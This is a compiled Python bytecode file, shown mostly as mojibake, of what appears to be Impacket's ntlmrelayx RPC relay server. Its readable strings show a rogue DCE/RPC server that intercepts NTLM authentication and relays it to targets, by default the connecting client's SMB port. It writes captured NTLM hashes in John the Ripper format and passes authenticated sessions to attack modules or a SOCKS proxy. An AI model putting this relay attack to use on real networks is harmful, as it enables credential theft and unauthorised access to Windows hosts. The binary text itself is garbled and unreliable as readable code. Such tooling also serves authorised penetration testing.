o
    àý°jŸ[  ã                   @   s”   d dl Z d dlZd dlT d dlT d dlT d dlmZmZmZ d dl	m
Z
mZ d dlmZmZ d dlmZ d dlmZ d dlmZ G d	d
„ d
eƒZdS )é    N)Ú*)ÚNTLMSSP_AUTH_NEGOTIATEÚNTLMSSP_AUTH_CHALLENGE_RESPONSEÚNTLMSSP_AUTH_CHALLENGE)ÚoutputToJohnFormatÚwriteJohnOutputToFile)ÚERROR_MESSAGESÚSTATUS_SUCCESS)ÚTargetsProcessor)ÚactiveConnections)Úget_addressc                   @   sD   e Zd ZG dd„ dejejƒZG dd„ dejƒZdd„ Z	dd„ Z
d	S )
ÚRPCRelayServerc                   @   s   e Zd Zdd„ ZdS )zRPCRelayServer.RPCSocketServerc                 C   sF   || _ d| _t|d |d | j jƒ\| _}dtj_tj | ||¡ d S )NTr   é   )	ÚconfigÚdaemon_threadsr   Úipv6Úaddress_familyÚsocketserverÚ	TCPServerÚallow_reuse_addressÚ__init__)ÚselfÚserver_addressÚRequestHandlerClassr   © r   ú¦/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/servers/rpcrelayserver.pyr   $   s
   z'RPCRelayServer.RPCSocketServer.__init__N)Ú__name__Ú
__module__Ú__qualname__r   r   r   r   r   ÚRPCSocketServer#   s    r   c                   @   sn   e Zd Zdd„ Zdd„ Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Z	dd„ Z
ddd„Zdd„ Zdd„ Zdd„ ZdS )zRPCRelayServer.RPCHandlerc                 C   sF   d | _ d | _d | _d | _d | _d | _d | _d | _tj	 
| |||¡ d S )N)ÚclientÚtargetÚ	auth_userÚ	transportÚrequest_headerÚrequest_pdu_dataÚrequest_sec_trailerÚchallengeMessager   ÚBaseRequestHandlerr   )r   ÚrequestÚclient_addressÚserverr   r   r   r   ,   s   z"RPCRelayServer.RPCHandler.__init__c                 C   sx   t | jƒ| _d| ji}| j ttƒd|¡ d| ji}| j ttƒd|¡ | j	j
jd u r:td| jd  d�| j	j
_d S d S )Né   Ú135é   zSMB://%s:445/r   )ÚsingleTarget)ÚDCERPCServerr)   r#   Úsend_ServerAlive2ResponseÚaddCallbacksÚbin_to_uuidtupÚIID_IObjectExporterÚhandle_epmapÚMSRPC_UUID_PORTMAPr+   r   r!   r
   r*   )r   ÚIObjectExporterCallBacksÚIEPMCallBacksr   r   r   Úsetup7   s   ÿÿþzRPCRelayServer.RPCHandler.setupc                 C   sœ   t |ƒ}tƒ }tƒ }d|d< d|d< tƒ }d|d< d|d< ||d< d	 |d
 d ¡}tƒ }t|ƒ|d< ||d< d|d< |d  |¡ |d |d< ||d< |S )Nr   Ústatusr   Ú
num_towersÚcontext_handle_attributess                       Úcontext_handle_uuidÚentry_handleó    Ú	map_towerÚtower_octet_stringÚtower_lengthr.   Ú
ReferentIDÚDataÚ
max_towersÚMaximumCountÚITowers)Úept_mapÚept_mapResponseÚtwr_p_t_arrayÚept_lookup_handle_tÚjoinÚtwr_p_tÚlenÚappend)r   Údatar)   ÚrespÚtow_arrÚ
req_handleÚ
resp_towerÚresp_tower_pr   r   r   r5   G   s$   z&RPCRelayServer.RPCHandler.handle_epmapc           
      C   sî   t ƒ }t| jjfg}tdfg}d}|D ]\}}||jddd�7 }|| d¡d 7 }q|ddt|ƒd   7 }t|ƒ|d	 d
< |D ]\}}	||jddd�7 }|d7 }||	 d¡d 7 }q@|ddt|ƒd   7 }t|ƒ|d	 d< ||d	 d< |S )NÚ r?   r   Úlittle)Ú	byteorderÚutf8ó    é   ÚppdsaOrBindingsÚwSecurityOffsetó   ÿÚwNumEntriesÚaStringArray)ÚServerAlive2ResponseÚTOWERID_DOD_TCPr!   ÚhostnameÚRPC_C_AUTHN_WINNTÚto_bytesÚencoderN   )
r   r)   ÚresponseÚstringBindingsÚsecurityBindingsÚarrayÚwTowerIdÚaNetworkAddrÚ	wAuthnSvcÚ
aPrincNamer   r   r   r1   ]   s"   
z3RPCRelayServer.RPCHandler.send_ServerAlive2Responsec              
   C   sÄ   z+	 | j  ¡ }|d u rt d¡ W d S |  |¡}|r+t dt|d   ¡ | j  |¡ q ty3   ‚  tyA   t 	d¡ Y d S  t
ya } ztjddd� t 	d| ¡ W Y d }~d S d }~ww )	NTz"(RPC): Connection closed by clientz (RPC): Sending packet of type %sÚtypez(RPC): Connection reset.z(RPC): Exception:)Úexc_infoz+(RPC): Exception in RPC request handler: %s)r#   ÚrecvÚLOGÚdebugÚhandle_single_requestÚmsrpc_message_typeÚsendÚKeyboardInterruptÚConnectionResetErrorÚerrorÚ	Exception)r   rP   rg   Úer   r   r   Úhandles   s(   


ô€þz RPCRelayServer.RPCHandler.handlec                 C   sz  t |ƒ| _| jd }t dt|  ¡ |ttfv r"t| jd ƒ| _n|t	kr'n|t
kr1| j |¡S t dt|  ¡ |  t¡S | jd dkr_|tkrUt d¡ | j |¡S t d¡ |  t¡S t| jd	 ƒ| _| jd
 }|tkrzt d¡ |  t¡S |tkrŠ|t	kr†tdƒ‚tdƒ‚|tks’|tkr¥|ttt	fvr¡tdt|  ƒ‚|  ¡ S |tks±|tks±|tkr·td| ƒ‚td| ƒ‚)Nro   z!(RPC): Received packet of type %sÚpduDataz3(RPC): Packet type received not supported (yet): %aÚauth_lenr   z1(RPC): Answering to a BIND without authenticationz<(RPC): Packet is no BIND and does not contain authenticationÚsec_trailerÚ	auth_typez,(RPC): Packet contains "None" authenticationz-AUTH3 packet contains "SPNEGO" authenticationz$SPNEGO auth_type not implemented yetz,Packet type received not supported (yet): %sz Auth type %s not implemented yetz*Auth type received not supported (yet): %d)ÚMSRPCHeaderr$   rr   rs   ru   Ú
MSRPC_BINDÚMSRPC_ALTERCTXÚMSRPCRelayBindr%   ÚMSRPC_AUTH3ÚMSRPC_REQUESTr#   ÚprocessRequestry   Ú
send_errorÚ(MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPEÚ+MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTHÚSEC_TRAILERr&   ÚRPC_C_AUTHN_NONEÚRPC_C_AUTHN_GSS_NEGOTIATErz   ÚNotImplementedErrorrd   ÚRPC_C_AUTHN_DEFAULTÚnegotiate_ntlm_sessionÚRPC_C_AUTHN_GSS_SCHANNELÚRPC_C_AUTHN_GSS_KERBEROSÚRPC_C_AUTHN_NETLOGON)r   rP   Úreq_typer€   r   r   r   rt   Š   sB   








z/RPCRelayServer.RPCHandler.handle_single_requestc                 C   sÀ  | j d }t d|tdƒtdƒd … ¡d }|tkrÌt ¡ }| |¡ | jj	j
jdd�| _
| j
d u rl| jj	jrbt d¡ | jj	j
jd	d
� | jj	j
jdd�| _
t d| jd | j
j| j
jf ¡ nt d¡ |  t¡S t d| jd | j
j| j
jf ¡ z|  |¡ | jr‹| jdu r�tdƒ‚|  | j¡W S  tyË } z*| j
d u r¨t d¡ nt d| j
j| j
j¡ | jj	j
 | j
¡ |  t¡W  Y d }~S d }~ww |tkrÔtdƒ‚|tk�rÚt ¡ }| |¡ |d dkrït d¡ d S z˜|  ||¡ | j  ¡  |d tj!@ �r$t d|d  "d¡|d  "d¡| jd | j
j| j
j| jj#f ¡ n t d|d  "d¡|d  "d¡| jd | j
j| j
j| jj#f ¡ t$| jd |d |d |d |d ƒ}|| jj%d< | jj	j&d u�rrt'|d |d | jj	j&ƒ | jj	j
 | j
d	| j(¡ |  )¡  |  t¡W S  t�yÙ } zE|d tj!@ �r²t d| j
j| j
j|d  "d¡|d  "d¡f ¡ nt d| j
j| j
j|d  "d¡|d  "d¡f ¡ | jj	j
 | j
¡ ‚ d }~ww td | ƒ‚)!NÚ	auth_dataú<LzNTLMSSP é   r   F)Ú
multiRelayz>(RPC): No target left: keepRelaying active, reloading targets.T)Úfull_reloadz<(RPC): Received connection from %s, attacking target %s://%sz(RPC): No target leftzClient send negotiated failed.z2(RPC): Negotiating NTLM failed, and no target leftz,(RPC): Negotiating NTLM with %s://%s failed.z)Challenge Message raise, not implemented!Ú	user_namer?   z&(RPC): Empty username ... just waitingÚflagszK(RPC): Authenticating connection from %s/%s@%s against %s://%s SUCCEED [%s]Údomain_nameúutf-16leÚasciiÚ	challengeÚlanmanÚntlmÚJOHN_OUTPUTÚhash_stringÚhash_versionz5(RPC): Authenticating against %s://%s as %s\%s FAILEDzUnknown NTLMSSP MessageType %d)*r$   ÚstructÚunpackrN   r   r¡   ÚNTLMAuthNegotiateÚ
fromStringr+   r   r!   Ú	getTargetÚkeepRelayingrr   ÚinfoÚreloadTargetsr*   ÚschemeÚnetlocrˆ   Ú%MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIEDÚdo_ntlm_negotiater'   rz   Úbindry   ÚregisterTargetr   r   ÚNTLMAuthChallengeResponseÚdo_ntlm_authr    ÚsetClientIdÚNTLMSSP_NEGOTIATE_UNICODEÚdecodeÚ	client_idr   ÚsessionDataÚ
outputFiler   r"   Ú	do_attack)r   ÚtokenÚmessageTypeÚnegotiateMessager{   ÚauthenticateMessageÚntlm_hash_datar   r   r   r�   ¼   sœ   
$



$

"

€ù	




þþ
ýÿ
ýý€óz0RPCRelayServer.RPCHandler.negotiate_ntlm_sessionc                 C   sà   | j j ¡ | jjjv r[| jjj| j j ¡  | jj| j ƒ| _| j ¡ s&tdƒ‚| j 	|¡| _
| jjjrYt | j
d ¡}|tj= | ¡ | j
d< t| ¡ ƒ| j
d< t| ¡ ƒ| j
d< d S d S t d| j j ¡  ¡ td| j j ¡  ƒ‚)NzClient connection failed.ÚTargetInfoFieldsÚTargetInfoFields_lenÚTargetInfoFields_max_lenz((RPC): Protocol Client for %s not found!z!Protocol Client for %s not found!)r!   r­   Úupperr+   r   ÚprotocolClientsr    ÚinitConnectionrz   ÚsendNegotiater'   Úremove_targetr¡   ÚAV_PAIRSÚNTLMSSP_AV_HOSTNAMEÚgetDatarN   rr   ry   )r   r¼   Úav_pairsr   r   r   r°     s    ÿ

ûz+RPCRelayServer.RPCHandler.do_ntlm_negotiater?   c           
      C   sð  t ƒ }| jd |d< | jd |d< d|d< | j ¡ stdƒ‚| j ¡ D ]N}t|d ƒ\}}tƒ }| t¡rH|dkrHt|d< t	t
B |d	< d
|d< n$|d tjkr\t|d< d|d	< d|d< nt|d< |d |d< |d | j_| |¡ q#d|d< tƒ }| jd tkr…t|d< n| jd tkr‘t|d< n	td| jd  ƒ‚| ¡ |d< | jd |d< | jd |d< |dkrötƒ }| jd |d< | jd |d< | jd |d< dt| ¡ ƒd  d }	|	dkrè|d  d|	 7  < |	|d< ||d< ||d< t|ƒ|d< |S ) NÚ	max_tfragÚ	max_rfragixV4Úassoc_groupzBind request with no CTX Item.ÚTransferSyntaxz1.0ÚResultÚReasonz                    r[   )z$00000000-0000-0000-0000-000000000000g        ÚAbstractSyntaxÚ9999ÚSecondaryAddrro   z(Message type %d is not supported in bindr}   Úcall_idr›   r?   r€   Ú
auth_levelÚauth_ctx_idr—   r   r^   Úauth_pad_lenr   r•   r~   )ÚMSRPCRelayBindAckr%   ÚgetCtxItemsrz   r3   ÚCtxItemResultÚ
startswithÚ*MSRPC_BIND_TIME_FEATURE_NEGOTIATION_PREFIXÚMSRPC_CONT_RESULT_NEGOTIATE_ACKÚSMSRPC_BIND_TIME_FEATURE_NEGOTIATION_SECURITY_CONTEXT_MULTIPLEXING_SUPPORTED_BITMASKÚOMSRPC_BIND_TIME_FEATURE_NEGOTIATION_KEEP_CONNECTION_ON_ORPHAN_SUPPORTED_BITMASKÚDCERPCÚNDR64SyntaxÚMSRPC_CONT_RESULT_PROV_REJECTÚMSRPC_CONT_RESULT_ACCEPTr#   Ú
_boundUUIDÚ
addCtxItemr�   r$   r‚   ÚMSRPC_BINDACKrƒ   ÚMSRPC_ALTERCTX_RrË   r‹   r&   rN   Ú
get_packet)
r   r'   ÚbindAckÚrequestItemÚsyntaxÚversionÚitemÚpacketÚ
secTrailerÚpadr   r   r   r±   /  sX   




zRPCRelayServer.RPCHandler.bindc                 C   sH   t | j ¡ ƒ}| jd }|tkrt|d< nt|d< |r"td|ƒ|d< |S )Nro   r–   r}   )ÚMSRPCRespHeaderr$   rË   r‚   ÚMSRPC_BINDNAKÚMSRPC_FAULTÚpack)r   r:   rð   Úrequest_typer   r   r   rˆ   m  s   

z$RPCRelayServer.RPCHandler.send_errorc                 C   s¬   |d t j@ rd|d  d¡|d  d¡f  ¡ | _nd|d  d¡|d  d¡f  ¡ | _| j || jd ¡\}}|tkrT|t	 
¡ v rNtd|t	| f ƒ‚td	| ƒ‚d S )
Nr›   z%s/%srœ   r�   rš   rž   rŸ   z1NTLM authentication failure, got errorCode %s: %sz5NTLM authentication failure, got unknown errorCode %s)r¡   r¶   r·   rÄ   r"   r    ÚsendAuthr'   r	   r   Úkeysrz   )r   r¼   r¿   ÚclientResponseÚ	errorCoder   r   r   r´   x  s"   ÿÿÿÿüz&RPCRelayServer.RPCHandler.do_ntlm_authc                 C   sÀ   | j jjr*| jj ¡ | j jjjv r*t 	| jj
| jj| jj ¡ | j| j| jjf¡ d S | jj ¡ | j jjv rS| j jj| jj ¡  | j j| jj| j| j| jƒ}| ¡  d S t d| jj ¡  ¡ d S )Nz"(RPC): No attack configured for %s)r+   r   ÚrunSocksr!   r­   rÄ   ÚsocksServerÚsupportedSchemesr   Úputrc   r    Ú
targetPortr"   r¹   ÚattacksÚsessionÚstartrr   ry   )r   ÚclientThreadr   r   r   r»   ‹  s   "ÿüz#RPCRelayServer.RPCHandler.do_attackN)r?   )r   r   r   r   r9   r5   r1   r|   rt   r�   r°   r±   rˆ   r´   r»   r   r   r   r   Ú
RPCHandler+   s    2_
>r  c                 C   s    t  | ¡ d| _|| _d | _d S )NT)ÚThreadr   Údaemonr   r+   )r   r   r   r   r   r   Ÿ  s   

zRPCRelayServer.__init__c                 C   sl   t  d| jj ¡ |  | jj| jjf| j| j¡| _z| j ¡  W n	 t	y)   Y nw t  d¡ | j 
¡  d S )Nz Setting up RPC Server on port %dzShutting down RPC Server)rr   r«   r   ÚlisteningPortr   ÚinterfaceIpr  r+   Úserve_foreverrw   Úserver_close)r   r   r   r   Úrun¥  s   ÿÿ
zRPCRelayServer.runN)r   r   r   r   ÚThreadingMixInr   r   r(   r  r   r  r   r   r   r   r   "   s      vr   )r   r¥   Úimpacket.dcerpc.v5.epmÚimpacket.dcerpc.v5.rpcrtÚimpacket.dcerpc.v5.dcomrtÚimpacket.ntlmr   r   r   Úimpacket.smbserverr   r   Úimpacket.nt_errorsr   r	   Ú/impacket.examples.ntlmrelayx.utils.targetsutilsr
   Ú0impacket.examples.ntlmrelayx.servers.socksserverr   Úimpacket.examples.utilsr   r  r   r   r   r   r   Ú<module>   s   